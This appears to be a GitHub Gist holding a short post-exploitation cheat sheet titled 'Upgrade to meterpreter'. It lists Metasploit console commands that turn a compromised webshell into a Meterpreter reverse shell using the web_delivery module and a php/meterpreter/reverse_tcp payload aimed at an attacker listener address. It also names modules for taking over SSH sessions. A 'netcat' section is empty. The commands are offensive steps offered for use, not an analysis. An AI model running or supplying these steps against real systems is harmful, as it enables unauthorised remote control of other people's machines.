Last active
March 11, 2018 11:56
-
-
Save castexyz/361af5972942fd03fbe5b8ab194a9ac7 to your computer and use it in GitHub Desktop.
Upgrade to meterpreter
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| WEBSHELL TO METERPRETER | |
| use exploit/multi/script/web_delivery | |
| msf exploit (web_delivery)>set target 1 | |
| msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp | |
| msf exploit (web_delivery)> set lhost 192.168.0.104 | |
| msf exploit (web_delivery)>set srvport 8081 | |
| msf exploit (web_delivery)>exploit | |
| SSH TO METERPRETER | |
| use auxiliary/scanner/ssh/ssh_login_pubkey | |
| use post/multi/manage/shell_to_meterpreter | |
| NETCAT TO METERPRETER |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment